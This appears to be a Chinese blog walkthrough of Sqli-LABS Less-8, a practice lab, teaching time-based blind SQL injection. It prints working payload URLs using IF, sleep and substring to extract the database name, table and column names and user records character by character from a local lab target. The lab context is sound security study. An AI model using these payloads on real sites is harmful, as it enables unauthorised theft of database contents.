Sqli-LABS通关笔录-8[延时注入]
通过该关卡我学习到了
1.if语句的三目运算符(其实说白了也就是php里的三位运算符)
2.sleep函数
3.substring函数(其实和substr一样)
4.limit的灵活运用
5.
Start Study
先来科普延时注入知识吧。
延时注入方法很简单:就是利用IF的三目运算符使用substring函数来判断字符的ASCII码值,进而猜解出正确的内容。
拿下面的案例而言,如果字符串hello的首字母的ASCII码大于120的话那么延时十秒,否则输出1。下面的案例是延时了十秒。
Example:
select if(ascii(substring("hello",1,1))>120,sleep(10),1);
注:
substring()等价于substr
sleep(10)延时十秒

下面我们来看关卡。
将刚才的sql语句放到 url里
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring("helloworld",1,1))=104,sleep(10),1)--+

左上方可以看到正在连接,并且持续了十多秒,所以延时注入的影响因素跟时间也是息息相关的。延迟也就是说sleep(10)得到执行了。
00x1 猜数据库名
经过测试数据库名的第一个ASCII码为115
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+
......................................................................................................2.................................
.....最终得出为:security

00x2 猜表名
记住哈,是从0开始的,我给写从1开始了。limit 0,1
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113,sleep(10),1);--+ 符合IF条件
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>114,sleep(10),1);--+ 不符合IF条件
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114,sleep(10),1);--+ 等于114
推出第一个的ASCII码为:114
修改substring函数的第二个参数进行猜解第二个的ASCII码。
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101,sleep(10),1);--+
要猜第二个表的时候修改select下limit的即可,即(limit 2,1)也可如下所示:
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=117,sleep(10),1);--+
注:

以上该图当中使用红色箭头标注的地点需是两个括号。原因很简单就是使用了双层的select语句,因为在其原本的sql语句中是有一个select的。所以说要多家一层括号。
详细的解释可参考《sql注入之你问我答小知识》的17问:http://www.cnblogs.com/xishaonian/p/6036909.html
00x3 猜字段
只需要将select语句里的
table_name改为column_name以及information_schemation.tables改为information_schemation.columns
就可以了。还是要记住哦,是从0开始的!
00x4 猜内容
格式:http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substr((select 字段 from 数据库名.表明 order by id limit m,n),x,y))>68,sleep(10),1);--+
注:
m,n为limit函数的
x,y为substr函数的
可将格式再缩为:if(ascii(substr((select 字段 数据库.表明 order by id limit m,n))>ASCII码,sleep(10),1);
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substr((select username from security.users order by id limit 0,1),2,1))=117,sleep(10),1);--+
第一个ASCII:68
第二个ASCII:117
最后推出usernam第一个得出为:Dumb
诺,送users表下的数据图一张

转载请注明出处:珍惜少年时博客
THE END
Sqli-LABS通关笔录-8[延时注入]的更多相关文章
- Sqli-LABS通关笔录-9[延时注入]
通过这个关卡 1.更快的掌握到了如何判断是否是延时注入 无论咋输入,都不行.当payload为: http://127.0.0.1/sql/Less-9/index.php?id=1' and sle ...
- Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入]
在这一关卡我学到了 1.万能密码的构造,大概的去揣测正常的SQL语句是如何的. 2. 3. 00x1 SQL万能密码的构造 在登录框当中可以添加了一个单引号.报错信息如下所示: 据此报错,我们大概的可 ...
- Sqli-LABS通关笔录-17-审计SQL注入
这个关卡开始好像进入新的知识区了,前面几个是让我们加深对盲注的印象.接下来又是新知识了!皮卡丘,接招吧! 代码是从SQL-libs的第十七关卡扣的. 页面效果如下所示: PHP面完整CODE如下所示: ...
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- sqli-labs:7,导入导出;8-10 延时注入
1,Load_file()导出文件 使用条件: A.必须有权限读取并且文件必须完全可读(and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明 ...
- mysql 延时注入新思路
转自先知社区https://xz.aliyun.com/t/2288 在4月的pwnhub比赛中,我们遇到了一个比较神奇的问题,如果在注入中遇到需要延时注入的情况,但服务端过滤了我们一般使用的slee ...
随机推荐
- 转载:【微信小程序】 wx:if 与 hidden(隐藏元素)区别
条件渲染 顾名思义所谓的条件渲染,就是通过条件来判断是否需要渲染该代码块.条件渲染主要是用到wx:if 和 block wx:if 这两个,第一个相信好理解,第二个是在block里面进行条件渲染,这里 ...
- c:forEach标签
//varStat代表 遍历typeListDesc集合所用到的方法 <!-- stat当前迭代的第几项 --> <c:forEach var="type" it ...
- C++知识整理(进制)
++输出二进制.十进制.八进制和十六进制总结 分类: C++ 2013-01-14 02:26 592人阅读 评论(0) 收藏 举报 在C++中,默认状态下,数据按十进制输入输出.如果要求按八进制或十 ...
- iOS中的#import和class区别
在ios中我们经常会在.h和.m中引入一些类啊等等一般用的是#import来进行声明,你们可能也见到在.h文件进用@class来声明的,那么#import和@class进行声明 到底有什么的区别呢?下 ...
- Sourcetree 更新git账号密码
删除Sourcetree 缓存文件(只需要删密码文件),文件位置: Mac: ~/Library/Application Support/SourceTree Windows: C:\Users\US ...
- python学习笔记—
Microsoft Windows [版本 10.0.16299.431](c) 2017 Microsoft Corporation.保留所有权利. C:\Users\zyong>pip in ...
- 一个进程发起多个连接和gethostbyname等函数
一.在前面讲过的最简单的回射客户/服务器程序中,一个客户端即一个进程,只会发起一个连接,只要稍微修改一下就可以让一个客户端发起多个连 接,然后只利用其中一个连接发送数据. 先来认识一个函数getsoc ...
- mysql-cluster 环境安装&配置
一.mysql-cluster 的介绍: 1.说心里话mysql-cluster这货性能上是不行的,之前一个同事测试了来的结果是8个主机组成的mysql-cluster性能 上搞不过一个单机的mysq ...
- php 的session机制 和ecshop session机制
一.默认机制,用磁盘文件来实现PHP会话.php.ini配置:session.save_handler = files 1.session_start() A. session_start()是ses ...
- cocos2dx 3.x 避免空sprite
由于cocos2dx 3.x中autobatch的,如果场景中含有空sprite(并且还不处于visible==false状态)的话,则会打断流水线(因为空sprite的贴图与其它元素的贴图必定不在同 ...